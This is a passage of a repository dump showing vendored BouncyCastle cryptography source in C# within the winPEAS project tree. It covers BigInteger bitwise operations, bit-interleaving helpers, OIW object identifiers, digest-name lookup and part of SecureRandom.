aMag.Length; int bStart = resultMag.Length - bMag.Length; for (int i = 0; i < resultMag.Length; ++i) { int aWord = i >= aStart ? aMag[i - aStart] : 0; int bWord = i >= bStart ? bMag[i - bStart] : 0; if (this.sign < 0) { aWord = ~aWord; } if (value.sign < 0) { bWord = ~bWord; } resultMag[i] = aWord | bWord; if (resultNeg) { resultMag[i] = ~resultMag[i]; } } BigInteger result = new BigInteger(1, resultMag, true); // TODO Optimise this case if (resultNeg) { result = result.Not(); } return result; } public BigInteger Xor( BigInteger value) { if (this.sign == 0) return value; if (value.sign == 0) return this; int[] aMag = this.sign > 0 ? this.magnitude : Add(One).magnitude; int[] bMag = value.sign > 0 ? value.magnitude : value.Add(One).magnitude; // TODO Can just replace with sign != value.sign? bool resultNeg = (sign < 0 && value.sign >= 0) || (sign >= 0 && value.sign < 0); int resultLength = System.Math.Max(aMag.Length, bMag.Length); int[] resultMag = new int[resultLength]; int aStart = resultMag.Length - aMag.Length; int bStart = resultMag.Length - bMag.Length; for (int i = 0; i < resultMag.Length; ++i) { int aWord = i >= aStart ? aMag[i - aStart] : 0; int bWord = i >= bStart ? bMag[i - bStart] : 0; if (this.sign < 0) { aWord = ~aWord; } if (value.sign < 0) { bWord = ~bWord; } resultMag[i] = aWord ^ bWord; if (resultNeg) { resultMag[i] = ~resultMag[i]; } } BigInteger result = new BigInteger(1, resultMag, true); // TODO Optimise this case if (resultNeg) { result = result.Not(); } return result; } public BigInteger SetBit( int n) { if (n < 0) throw new ArithmeticException("Bit address less than zero"); if (TestBit(n)) return this; // TODO Handle negative values and zero if (sign > 0 && n < (BitLength - 1)) return FlipExistingBit(n); return Or(One.ShiftLeft(n)); } public BigInteger ClearBit( int n) { if (n < 0) throw new ArithmeticException("Bit address less than zero"); if (!TestBit(n)) return this; // TODO Handle negative values if (sign > 0 && n < (BitLength - 1)) return FlipExistingBit(n); return AndNot(One.ShiftLeft(n)); } public BigInteger FlipBit( int n) { if (n < 0) throw new ArithmeticException("Bit address less than zero"); // TODO Handle negative values and zero if (sign > 0 && n < (BitLength - 1)) return FlipExistingBit(n); return Xor(One.ShiftLeft(n)); } private BigInteger FlipExistingBit( int n) { Debug.Assert(sign > 0); Debug.Assert(n >= 0); Debug.Assert(n < BitLength - 1); int[] mag = (int[])this.magnitude.Clone(); mag[mag.Length - 1 - (n >> 5)] ^= (1 << (n & 31)); // Flip bit //mag[mag.Length - 1 - (n / 32)] ^= (1 << (n % 32)); return new BigInteger(this.sign, mag, false); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/math/raw/Bits.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.math.raw { internal abstract class Bits { internal static uint BitPermuteStep(uint x, uint m, int s) { uint t = (x ^ (x >> s)) & m; return (t ^ (t << s)) ^ x; } internal static ulong BitPermuteStep(ulong x, ulong m, int s) { ulong t = (x ^ (x >> s)) & m; return (t ^ (t << s)) ^ x; } internal static uint BitPermuteStepSimple(uint x, uint m, int s) { return ((x & m) << s) | ((x >> s) & m); } internal static ulong BitPermuteStepSimple(ulong x, ulong m, int s) { return ((x & m) << s) | ((x >> s) & m); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/math/raw/Interleave.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.math.raw { internal abstract class Interleave { private const ulong M32 = 0x55555555UL; private const ulong M64 = 0x5555555555555555UL; private const ulong M64R = 0xAAAAAAAAAAAAAAAAUL; /* * This expands 8 bit indices into 16 bit contents (high bit 14), by inserting 0s between bits. * In a binary field, this operation is the same as squaring an 8 bit number. */ //private static readonly ushort[] INTERLEAVE2_TABLE = new ushort[] //{ // 0x0000, 0x0001, 0x0004, 0x0005, 0x0010, 0x0011, 0x0014, 0x0015, // 0x0040, 0x0041, 0x0044, 0x0045, 0x0050, 0x0051, 0x0054, 0x0055, // 0x0100, 0x0101, 0x0104, 0x0105, 0x0110, 0x0111, 0x0114, 0x0115, // 0x0140, 0x0141, 0x0144, 0x0145, 0x0150, 0x0151, 0x0154, 0x0155, // 0x0400, 0x0401, 0x0404, 0x0405, 0x0410, 0x0411, 0x0414, 0x0415, // 0x0440, 0x0441, 0x0444, 0x0445, 0x0450, 0x0451, 0x0454, 0x0455, // 0x0500, 0x0501, 0x0504, 0x0505, 0x0510, 0x0511, 0x0514, 0x0515, // 0x0540, 0x0541, 0x0544, 0x0545, 0x0550, 0x0551, 0x0554, 0x0555, // 0x1000, 0x1001, 0x1004, 0x1005, 0x1010, 0x1011, 0x1014, 0x1015, // 0x1040, 0x1041, 0x1044, 0x1045, 0x1050, 0x1051, 0x1054, 0x1055, // 0x1100, 0x1101, 0x1104, 0x1105, 0x1110, 0x1111, 0x1114, 0x1115, // 0x1140, 0x1141, 0x1144, 0x1145, 0x1150, 0x1151, 0x1154, 0x1155, // 0x1400, 0x1401, 0x1404, 0x1405, 0x1410, 0x1411, 0x1414, 0x1415, // 0x1440, 0x1441, 0x1444, 0x1445, 0x1450, 0x1451, 0x1454, 0x1455, // 0x1500, 0x1501, 0x1504, 0x1505, 0x1510, 0x1511, 0x1514, 0x1515, // 0x1540, 0x1541, 0x1544, 0x1545, 0x1550, 0x1551, 0x1554, 0x1555, // 0x4000, 0x4001, 0x4004, 0x4005, 0x4010, 0x4011, 0x4014, 0x4015, // 0x4040, 0x4041, 0x4044, 0x4045, 0x4050, 0x4051, 0x4054, 0x4055, // 0x4100, 0x4101, 0x4104, 0x4105, 0x4110, 0x4111, 0x4114, 0x4115, // 0x4140, 0x4141, 0x4144, 0x4145, 0x4150, 0x4151, 0x4154, 0x4155, // 0x4400, 0x4401, 0x4404, 0x4405, 0x4410, 0x4411, 0x4414, 0x4415, // 0x4440, 0x4441, 0x4444, 0x4445, 0x4450, 0x4451, 0x4454, 0x4455, // 0x4500, 0x4501, 0x4504, 0x4505, 0x4510, 0x4511, 0x4514, 0x4515, // 0x4540, 0x4541, 0x4544, 0x4545, 0x4550, 0x4551, 0x4554, 0x4555, // 0x5000, 0x5001, 0x5004, 0x5005, 0x5010, 0x5011, 0x5014, 0x5015, // 0x5040, 0x5041, 0x5044, 0x5045, 0x5050, 0x5051, 0x5054, 0x5055, // 0x5100, 0x5101, 0x5104, 0x5105, 0x5110, 0x5111, 0x5114, 0x5115, // 0x5140, 0x5141, 0x5144, 0x5145, 0x5150, 0x5151, 0x5154, 0x5155, // 0x5400, 0x5401, 0x5404, 0x5405, 0x5410, 0x5411, 0x5414, 0x5415, // 0x5440, 0x5441, 0x5444, 0x5445, 0x5450, 0x5451, 0x5454, 0x5455, // 0x5500, 0x5501, 0x5504, 0x5505, 0x5510, 0x5511, 0x5514, 0x5515, // 0x5540, 0x5541, 0x5544, 0x5545, 0x5550, 0x5551, 0x5554, 0x5555 //}; internal static uint Expand8to16(uint x) { x &= 0xFFU; x = (x | (x << 4)) & 0x0F0FU; x = (x | (x << 2)) & 0x3333U; x = (x | (x << 1)) & 0x5555U; return x; } internal static uint Expand16to32(uint x) { x &= 0xFFFFU; x = (x | (x << 8)) & 0x00FF00FFU; x = (x | (x << 4)) & 0x0F0F0F0FU; x = (x | (x << 2)) & 0x33333333U; x = (x | (x << 1)) & 0x55555555U; return x; } internal static ulong Expand32to64(uint x) { // "shuffle" low half to even bits and high half to odd bits x = Bits.BitPermuteStep(x, 0x0000FF00U, 8); x = Bits.BitPermuteStep(x, 0x00F000F0U, 4); x = Bits.BitPermuteStep(x, 0x0C0C0C0CU, 2); x = Bits.BitPermuteStep(x, 0x22222222U, 1); return ((x >> 1) & M32) << 32 | (x & M32); } internal static void Expand64To128(ulong x, ulong[] z, int zOff) { // "shuffle" low half to even bits and high half to odd bits x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16); x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8); x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4); x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2); x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1); z[zOff] = (x) & M64; z[zOff + 1] = (x >> 1) & M64; } internal static void Expand64To128(ulong[] xs, int xsOff, int xsLen, ulong[] zs, int zsOff) { for (int i = 0; i < xsLen; ++i) { Expand64To128(xs[xsOff + i], zs, zsOff); zsOff += 2; } } internal static void Expand64To128Rev(ulong x, ulong[] z, int zOff) { // "shuffle" low half to even bits and high half to odd bits x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16); x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8); x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4); x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2); x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1); z[zOff] = (x) & M64R; z[zOff + 1] = (x << 1) & M64R; } internal static uint Shuffle(uint x) { // "shuffle" low half to even bits and high half to odd bits x = Bits.BitPermuteStep(x, 0x0000FF00U, 8); x = Bits.BitPermuteStep(x, 0x00F000F0U, 4); x = Bits.BitPermuteStep(x, 0x0C0C0C0CU, 2); x = Bits.BitPermuteStep(x, 0x22222222U, 1); return x; } internal static ulong Shuffle(ulong x) { // "shuffle" low half to even bits and high half to odd bits x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16); x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8); x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4); x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2); x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1); return x; } internal static uint Shuffle2(uint x) { // "shuffle" (twice) low half to even bits and high half to odd bits x = Bits.BitPermuteStep(x, 0x00AA00AAU, 7); x = Bits.BitPermuteStep(x, 0x0000CCCCU, 14); x = Bits.BitPermuteStep(x, 0x00F000F0U, 4); x = Bits.BitPermuteStep(x, 0x0000FF00U, 8); return x; } internal static uint Unshuffle(uint x) { // "unshuffle" even bits to low half and odd bits to high half x = Bits.BitPermuteStep(x, 0x22222222U, 1); x = Bits.BitPermuteStep(x, 0x0C0C0C0CU, 2); x = Bits.BitPermuteStep(x, 0x00F000F0U, 4); x = Bits.BitPermuteStep(x, 0x0000FF00U, 8); return x; } internal static ulong Unshuffle(ulong x) { // "unshuffle" even bits to low half and odd bits to high half x = Bits.BitPermuteStep(x, 0x2222222222222222UL, 1); x = Bits.BitPermuteStep(x, 0x0C0C0C0C0C0C0C0CUL, 2); x = Bits.BitPermuteStep(x, 0x00F000F000F000F0UL, 4); x = Bits.BitPermuteStep(x, 0x0000FF000000FF00UL, 8); x = Bits.BitPermuteStep(x, 0x00000000FFFF0000UL, 16); return x; } internal static uint Unshuffle2(uint x) { // "unshuffle" (twice) even bits to low half and odd bits to high half x = Bits.BitPermuteStep(x, 0x0000FF00U, 8); x = Bits.BitPermuteStep(x, 0x00F000F0U, 4); x = Bits.BitPermuteStep(x, 0x0000CCCCU, 14); x = Bits.BitPermuteStep(x, 0x00AA00AAU, 7); return x; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/oiw/OiwObjectIdentifiers.cs ================================================ using winPEAS._3rdParty.BouncyCastle.asn1; namespace winPEAS._3rdParty.BouncyCastle.oiw { public abstract class OiwObjectIdentifiers { public static readonly DerObjectIdentifier MD4WithRsa = new DerObjectIdentifier("1.3.14.3.2.2"); public static readonly DerObjectIdentifier MD5WithRsa = new DerObjectIdentifier("1.3.14.3.2.3"); public static readonly DerObjectIdentifier MD4WithRsaEncryption = new DerObjectIdentifier("1.3.14.3.2.4"); public static readonly DerObjectIdentifier DesEcb = new DerObjectIdentifier("1.3.14.3.2.6"); public static readonly DerObjectIdentifier DesCbc = new DerObjectIdentifier("1.3.14.3.2.7"); public static readonly DerObjectIdentifier DesOfb = new DerObjectIdentifier("1.3.14.3.2.8"); public static readonly DerObjectIdentifier DesCfb = new DerObjectIdentifier("1.3.14.3.2.9"); public static readonly DerObjectIdentifier DesEde = new DerObjectIdentifier("1.3.14.3.2.17"); // id-SHA1 OBJECT IDENTIFIER ::= // {iso(1) identified-organization(3) oiw(14) secsig(3) algorithms(2) 26 } // public static readonly DerObjectIdentifier IdSha1 = new DerObjectIdentifier("1.3.14.3.2.26"); public static readonly DerObjectIdentifier DsaWithSha1 = new DerObjectIdentifier("1.3.14.3.2.27"); public static readonly DerObjectIdentifier Sha1WithRsa = new DerObjectIdentifier("1.3.14.3.2.29"); // ElGamal Algorithm OBJECT IDENTIFIER ::= // {iso(1) identified-organization(3) oiw(14) dirservsig(7) algorithm(2) encryption(1) 1 } // public static readonly DerObjectIdentifier ElGamalAlgorithm = new DerObjectIdentifier("1.3.14.7.2.1.1"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/security/DigestUtilities.cs ================================================ using System; using System.Collections; using winPEAS._3rdParty.BouncyCastle.asn1; using winPEAS._3rdParty.BouncyCastle.asn1.cryptopro; using winPEAS._3rdParty.BouncyCastle.asn1.gm; using winPEAS._3rdParty.BouncyCastle.asn1.misc; using winPEAS._3rdParty.BouncyCastle.asn1.nist; using winPEAS._3rdParty.BouncyCastle.asn1.pkcs; using winPEAS._3rdParty.BouncyCastle.asn1.rosstandart; using winPEAS._3rdParty.BouncyCastle.asn1.teletrust; using winPEAS._3rdParty.BouncyCastle.asn1.ua; using winPEAS._3rdParty.BouncyCastle.crypto.digests; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.oiw; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.security { /// /// Utility class for creating IDigest objects from their names/Oids /// public sealed class DigestUtilities { private enum DigestAlgorithm { BLAKE2B_160, BLAKE2B_256, BLAKE2B_384, BLAKE2B_512, BLAKE2S_128, BLAKE2S_160, BLAKE2S_224, BLAKE2S_256, DSTU7564_256, DSTU7564_384, DSTU7564_512, GOST3411, GOST3411_2012_256, GOST3411_2012_512, KECCAK_224, KECCAK_256, KECCAK_288, KECCAK_384, KECCAK_512, MD2, MD4, MD5, NONE, RIPEMD128, RIPEMD160, RIPEMD256, RIPEMD320, SHA_1, SHA_224, SHA_256, SHA_384, SHA_512, SHA_512_224, SHA_512_256, SHA3_224, SHA3_256, SHA3_384, SHA3_512, SHAKE128, SHAKE256, SM3, TIGER, WHIRLPOOL, }; private DigestUtilities() { } private static readonly IDictionary algorithms = Platform.CreateHashtable(); private static readonly IDictionary oids = Platform.CreateHashtable(); static DigestUtilities() { // Signal to obfuscation tools not to change enum constants ((DigestAlgorithm)Enums.GetArbitraryValue(typeof(DigestAlgorithm))).ToString(); algorithms[PkcsObjectIdentifiers.MD2.Id] = "MD2"; algorithms[PkcsObjectIdentifiers.MD4.Id] = "MD4"; algorithms[PkcsObjectIdentifiers.MD5.Id] = "MD5"; algorithms["SHA1"] = "SHA-1"; algorithms[OiwObjectIdentifiers.IdSha1.Id] = "SHA-1"; algorithms[PkcsObjectIdentifiers.IdHmacWithSha1.Id] = "SHA-1"; algorithms[MiscObjectIdentifiers.HMAC_SHA1.Id] = "SHA-1"; algorithms["SHA224"] = "SHA-224"; algorithms[NistObjectIdentifiers.IdSha224.Id] = "SHA-224"; algorithms[PkcsObjectIdentifiers.IdHmacWithSha224.Id] = "SHA-224"; algorithms["SHA256"] = "SHA-256"; algorithms[NistObjectIdentifiers.IdSha256.Id] = "SHA-256"; algorithms[PkcsObjectIdentifiers.IdHmacWithSha256.Id] = "SHA-256"; algorithms["SHA384"] = "SHA-384"; algorithms[NistObjectIdentifiers.IdSha384.Id] = "SHA-384"; algorithms[PkcsObjectIdentifiers.IdHmacWithSha384.Id] = "SHA-384"; algorithms["SHA512"] = "SHA-512"; algorithms[NistObjectIdentifiers.IdSha512.Id] = "SHA-512"; algorithms[PkcsObjectIdentifiers.IdHmacWithSha512.Id] = "SHA-512"; algorithms["SHA512/224"] = "SHA-512/224"; algorithms[NistObjectIdentifiers.IdSha512_224.Id] = "SHA-512/224"; algorithms["SHA512/256"] = "SHA-512/256"; algorithms[NistObjectIdentifiers.IdSha512_256.Id] = "SHA-512/256"; algorithms["RIPEMD-128"] = "RIPEMD128"; algorithms[TeleTrusTObjectIdentifiers.RipeMD128.Id] = "RIPEMD128"; algorithms["RIPEMD-160"] = "RIPEMD160"; algorithms[TeleTrusTObjectIdentifiers.RipeMD160.Id] = "RIPEMD160"; algorithms["RIPEMD-256"] = "RIPEMD256"; algorithms[TeleTrusTObjectIdentifiers.RipeMD256.Id] = "RIPEMD256"; algorithms["RIPEMD-320"] = "RIPEMD320"; // algorithms[TeleTrusTObjectIdentifiers.RipeMD320.Id] = "RIPEMD320"; algorithms[CryptoProObjectIdentifiers.GostR3411.Id] = "GOST3411"; algorithms["KECCAK224"] = "KECCAK-224"; algorithms["KECCAK256"] = "KECCAK-256"; algorithms["KECCAK288"] = "KECCAK-288"; algorithms["KECCAK384"] = "KECCAK-384"; algorithms["KECCAK512"] = "KECCAK-512"; algorithms[NistObjectIdentifiers.IdSha3_224.Id] = "SHA3-224"; algorithms[NistObjectIdentifiers.IdHMacWithSha3_224.Id] = "SHA3-224"; algorithms[NistObjectIdentifiers.IdSha3_256.Id] = "SHA3-256"; algorithms[NistObjectIdentifiers.IdHMacWithSha3_256.Id] = "SHA3-256"; algorithms[NistObjectIdentifiers.IdSha3_384.Id] = "SHA3-384"; algorithms[NistObjectIdentifiers.IdHMacWithSha3_384.Id] = "SHA3-384"; algorithms[NistObjectIdentifiers.IdSha3_512.Id] = "SHA3-512"; algorithms[NistObjectIdentifiers.IdHMacWithSha3_512.Id] = "SHA3-512"; algorithms[NistObjectIdentifiers.IdShake128.Id] = "SHAKE128"; algorithms[NistObjectIdentifiers.IdShake256.Id] = "SHAKE256"; algorithms[GMObjectIdentifiers.sm3.Id] = "SM3"; algorithms[MiscObjectIdentifiers.id_blake2b160.Id] = "BLAKE2B-160"; algorithms[MiscObjectIdentifiers.id_blake2b256.Id] = "BLAKE2B-256"; algorithms[MiscObjectIdentifiers.id_blake2b384.Id] = "BLAKE2B-384"; algorithms[MiscObjectIdentifiers.id_blake2b512.Id] = "BLAKE2B-512"; algorithms[MiscObjectIdentifiers.id_blake2s128.Id] = "BLAKE2S-128"; algorithms[MiscObjectIdentifiers.id_blake2s160.Id] = "BLAKE2S-160"; algorithms[MiscObjectIdentifiers.id_blake2s224.Id] = "BLAKE2S-224"; algorithms[MiscObjectIdentifiers.id_blake2s256.Id] = "BLAKE2S-256"; algorithms[RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256.Id] = "GOST3411-2012-256"; algorithms[RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512.Id] = "GOST3411-2012-512"; algorithms[UAObjectIdentifiers.dstu7564digest_256.Id] = "DSTU7564-256"; algorithms[UAObjectIdentifiers.dstu7564digest_384.Id] = "DSTU7564-384"; algorithms[UAObjectIdentifiers.dstu7564digest_512.Id] = "DSTU7564-512"; oids["MD2"] = PkcsObjectIdentifiers.MD2; oids["MD4"] = PkcsObjectIdentifiers.MD4; oids["MD5"] = PkcsObjectIdentifiers.MD5; oids["SHA-1"] = OiwObjectIdentifiers.IdSha1; oids["SHA-224"] = NistObjectIdentifiers.IdSha224; oids["SHA-256"] = NistObjectIdentifiers.IdSha256; oids["SHA-384"] = NistObjectIdentifiers.IdSha384; oids["SHA-512"] = NistObjectIdentifiers.IdSha512; oids["SHA-512/224"] = NistObjectIdentifiers.IdSha512_224; oids["SHA-512/256"] = NistObjectIdentifiers.IdSha512_256; oids["SHA3-224"] = NistObjectIdentifiers.IdSha3_224; oids["SHA3-256"] = NistObjectIdentifiers.IdSha3_256; oids["SHA3-384"] = NistObjectIdentifiers.IdSha3_384; oids["SHA3-512"] = NistObjectIdentifiers.IdSha3_512; oids["SHAKE128"] = NistObjectIdentifiers.IdShake128; oids["SHAKE256"] = NistObjectIdentifiers.IdShake256; oids["RIPEMD128"] = TeleTrusTObjectIdentifiers.RipeMD128; oids["RIPEMD160"] = TeleTrusTObjectIdentifiers.RipeMD160; oids["RIPEMD256"] = TeleTrusTObjectIdentifiers.RipeMD256; oids["GOST3411"] = CryptoProObjectIdentifiers.GostR3411; oids["SM3"] = GMObjectIdentifiers.sm3; oids["BLAKE2B-160"] = MiscObjectIdentifiers.id_blake2b160; oids["BLAKE2B-256"] = MiscObjectIdentifiers.id_blake2b256; oids["BLAKE2B-384"] = MiscObjectIdentifiers.id_blake2b384; oids["BLAKE2B-512"] = MiscObjectIdentifiers.id_blake2b512; oids["BLAKE2S-128"] = MiscObjectIdentifiers.id_blake2s128; oids["BLAKE2S-160"] = MiscObjectIdentifiers.id_blake2s160; oids["BLAKE2S-224"] = MiscObjectIdentifiers.id_blake2s224; oids["BLAKE2S-256"] = MiscObjectIdentifiers.id_blake2s256; oids["GOST3411-2012-256"] = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256; oids["GOST3411-2012-512"] = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512; oids["DSTU7564-256"] = UAObjectIdentifiers.dstu7564digest_256; oids["DSTU7564-384"] = UAObjectIdentifiers.dstu7564digest_384; oids["DSTU7564-512"] = UAObjectIdentifiers.dstu7564digest_512; } /// /// Returns a ObjectIdentifier for a given digest mechanism. /// /// A string representation of the digest meanism. /// A DerObjectIdentifier, null if the Oid is not available. public static DerObjectIdentifier GetObjectIdentifier( string mechanism) { if (mechanism == null) throw new System.ArgumentNullException("mechanism"); mechanism = Platform.ToUpperInvariant(mechanism); string aliased = (string)algorithms[mechanism]; if (aliased != null) mechanism = aliased; return (DerObjectIdentifier)oids[mechanism]; } public static ICollection Algorithms { get { return oids.Keys; } } public static IDigest GetDigest( DerObjectIdentifier id) { return GetDigest(id.Id); } public static IDigest GetDigest( string algorithm) { string upper = Platform.ToUpperInvariant(algorithm); string mechanism = (string)algorithms[upper]; if (mechanism == null) { mechanism = upper; } try { DigestAlgorithm digestAlgorithm = (DigestAlgorithm)Enums.GetEnumValue( typeof(DigestAlgorithm), mechanism); switch (digestAlgorithm) { case DigestAlgorithm.BLAKE2B_160: return new Blake2bDigest(160); case DigestAlgorithm.BLAKE2B_256: return new Blake2bDigest(256); case DigestAlgorithm.BLAKE2B_384: return new Blake2bDigest(384); case DigestAlgorithm.BLAKE2B_512: return new Blake2bDigest(512); case DigestAlgorithm.BLAKE2S_128: return new Blake2sDigest(128); case DigestAlgorithm.BLAKE2S_160: return new Blake2sDigest(160); case DigestAlgorithm.BLAKE2S_224: return new Blake2sDigest(224); case DigestAlgorithm.BLAKE2S_256: return new Blake2sDigest(256); case DigestAlgorithm.DSTU7564_256: return new Dstu7564Digest(256); case DigestAlgorithm.DSTU7564_384: return new Dstu7564Digest(384); case DigestAlgorithm.DSTU7564_512: return new Dstu7564Digest(512); case DigestAlgorithm.GOST3411: return new Gost3411Digest(); case DigestAlgorithm.GOST3411_2012_256: return new Gost3411_2012_256Digest(); case DigestAlgorithm.GOST3411_2012_512: return new Gost3411_2012_512Digest(); case DigestAlgorithm.KECCAK_224: return new KeccakDigest(224); case DigestAlgorithm.KECCAK_256: return new KeccakDigest(256); case DigestAlgorithm.KECCAK_288: return new KeccakDigest(288); case DigestAlgorithm.KECCAK_384: return new KeccakDigest(384); case DigestAlgorithm.KECCAK_512: return new KeccakDigest(512); case DigestAlgorithm.MD2: return new MD2Digest(); case DigestAlgorithm.MD4: return new MD4Digest(); case DigestAlgorithm.MD5: return new MD5Digest(); case DigestAlgorithm.NONE: return new NullDigest(); case DigestAlgorithm.RIPEMD128: return new RipeMD128Digest(); case DigestAlgorithm.RIPEMD160: return new RipeMD160Digest(); case DigestAlgorithm.RIPEMD256: return new RipeMD256Digest(); case DigestAlgorithm.RIPEMD320: return new RipeMD320Digest(); case DigestAlgorithm.SHA_1: return new Sha1Digest(); case DigestAlgorithm.SHA_224: return new Sha224Digest(); case DigestAlgorithm.SHA_256: return new Sha256Digest(); case DigestAlgorithm.SHA_384: return new Sha384Digest(); case DigestAlgorithm.SHA_512: return new Sha512Digest(); case DigestAlgorithm.SHA_512_224: return new Sha512tDigest(224); case DigestAlgorithm.SHA_512_256: return new Sha512tDigest(256); case DigestAlgorithm.SHA3_224: return new Sha3Digest(224); case DigestAlgorithm.SHA3_256: return new Sha3Digest(256); case DigestAlgorithm.SHA3_384: return new Sha3Digest(384); case DigestAlgorithm.SHA3_512: return new Sha3Digest(512); case DigestAlgorithm.SHAKE128: return new ShakeDigest(128); case DigestAlgorithm.SHAKE256: return new ShakeDigest(256); case DigestAlgorithm.SM3: return new SM3Digest(); case DigestAlgorithm.TIGER: return new TigerDigest(); case DigestAlgorithm.WHIRLPOOL: return new WhirlpoolDigest(); } } catch (ArgumentException) { } throw new SecurityUtilityException("Digest " + mechanism + " not recognised."); } public static string GetAlgorithmName( DerObjectIdentifier oid) { return (string)algorithms[oid.Id]; } public static byte[] CalculateDigest(DerObjectIdentifier id, byte[] input) { return CalculateDigest(id.Id, input); } public static byte[] CalculateDigest(string algorithm, byte[] input) { IDigest digest = GetDigest(algorithm); digest.BlockUpdate(input, 0, input.Length); return DoFinal(digest); } public static byte[] DoFinal( IDigest digest) { byte[] b = new byte[digest.GetDigestSize()]; digest.DoFinal(b, 0); return b; } public static byte[] DoFinal( IDigest digest, byte[] input) { digest.BlockUpdate(input, 0, input.Length); return DoFinal(digest); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/security/SecureRandom.cs ================================================ using System; using System.Threading; using winPEAS._3rdParty.BouncyCastle.crypto.prng; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.security { public class SecureRandom : Random { private static long counter = Times.NanoTime(); #if NETCF_1_0 || PORTABLE private static object counterLock = new object(); private static long NextCounterValue() { lock (counterLock) { return ++counter; } } private static readonly SecureRandom[] master = { null }; private static SecureRandom Master { get { lock (master) { if (master[0] == null) { SecureRandom sr = master[0] = GetInstance("SHA256PRNG", false); // Even though Ticks has at most 8 or 14 bits of entropy, there's no harm in adding it. sr.SetSeed(DateTime.Now.Ticks); // 32 will be enough when ThreadedSeedGenerator is fixed. Until then, ThreadedSeedGenerator returns low // entropy, and this is not sufficient to be secure. http://www.bouncycastle.org/csharpdevmailarchive/msg00814.html sr.SetSeed(new ThreadedSeedGenerator().GenerateSeed(32, true)); } return master[0]; } } } #else private static long NextCounterValue() { return Interlocked.Increment(ref counter); } private static readonly SecureRandom master = new SecureRandom(new CryptoApiRandomGenerator()); private static SecureRandom Master { get { return master; } } #endif private static DigestRandomGenerator CreatePrng(string digestName, bool autoSeed) { IDigest digest = DigestUtilities.GetDigest(digestName); if (digest == null) return null; DigestRandomGenerator prng = new DigestRandomGenerator(digest); if (autoSeed) { prng.AddSeedMaterial(NextCounterValue()); prng.AddSeedMaterial(GetNextBytes(Master, digest.GetDigestSize())); } return prng; } public static byte[] GetNextBytes(SecureRandom secureRandom, int length) { byte[] result = new byte[length]; secureRandom.NextBytes(result); return result; } /// /// Create and auto-seed an instance based on the given algorithm. /// /// Equivalent to GetInstance(algorithm, true) /// e.g. "SHA256PRNG" public static SecureRandom GetInstance(string algorithm) { return GetInstance(algorithm, true); } /// /// Create an instance based on the given algorithm, with optional auto-seeding /// /// e.g. "SHA256PRNG" /// If true, the instance will be auto-seeded. public static SecureRandom GetInstance(string algorithm, bool autoSeed) { string upper = Platform.ToUpperInvariant(algorithm); if (Platform.EndsWith(upper, "PRNG")) { string digestName = upper.Substring(0, upper.Length - "PRNG".Length); DigestRandomGenerator prng = CreatePrng(digestName, autoSeed); if (prng != null) { return new SecureRandom(prng); } } throw new ArgumentException("Unrecognised PRNG algorithm: " + algorithm, "algorithm"); } [Obsolete("Call GenerateSeed() on a SecureRandom instance instead")] public static byte[] GetSeed(int length) { return GetNextBytes(Master, length); } protected readonly IRandomGenerator generator; public SecureRandom() : this(CreatePrng("SHA256", true)) { } /// /// To replicate existing predictable output, replace with GetInstance("SHA1PRNG", false), followed by SetSeed(seed) /// [Obsolete("Use GetInstance/SetSeed instead")] public SecureRandom(byte[] seed) : this(CreatePrng("SHA1", false)) { SetSeed(seed); } /// Use the specified instance of IRandomGenerator as random source. /// /// This constructor performs no seeding of either the IRandomGenerator or the /// constructed SecureRandom. It is the responsibility of the client to provide /// proper seed material as necessary/appropriate for the given IRandomGenerator /// implementation. /// /// The source to generate all random bytes from. public SecureRandom(IRandomGenerator generator) : base(0) { this.generator = generator; } public virtual byte[] GenerateSeed(int length) { return GetNextBytes(Master, length); } public virtual void SetSeed(byte[] seed) { generator.AddSeedMaterial(seed); } public virtual void SetSeed(long seed) { generator.AddSeedMaterial(seed); } public override int Next() { return NextInt() & int.MaxValue; } public override int Next(int maxValue) { if (maxValue < 2) { if (maxValue < 0) throw new ArgumentOutOfRangeException("maxValue", "cannot be negative"); return 0; } int bits; // Test whether maxValue is a power of 2 if ((maxValue & (maxValue - 1)) == 0) { bits = NextInt() & int.MaxValue; return (int)(((long)bits * maxValue) >> 31); } int result; do { bits = NextInt() & int.MaxValue; result = bits % maxValue; } while (bits - result + (maxValue - 1) < 0); // Ignore results near overflow return result; } public override int Next(int minValue, int maxValue) { if (maxValue <= minValue) { if (maxValue == minValue) return minValue; throw new ArgumentException("maxValue cannot be less than minValue"); } int diff = maxValue - minValue; if (diff > 0) return minValue + Next(diff); for (; ; ) { int i = NextInt(); if (i >= minValue && i < maxValue) return i; } } public override void NextBytes(byte[] buf) { generator.NextBytes(buf); } public virtual void NextBytes(byte[] buf, int off, int len) { generator.NextBytes(buf, off, len); } private static readonly double DoubleScale = 1.0 / Convert.ToDouble(1L << 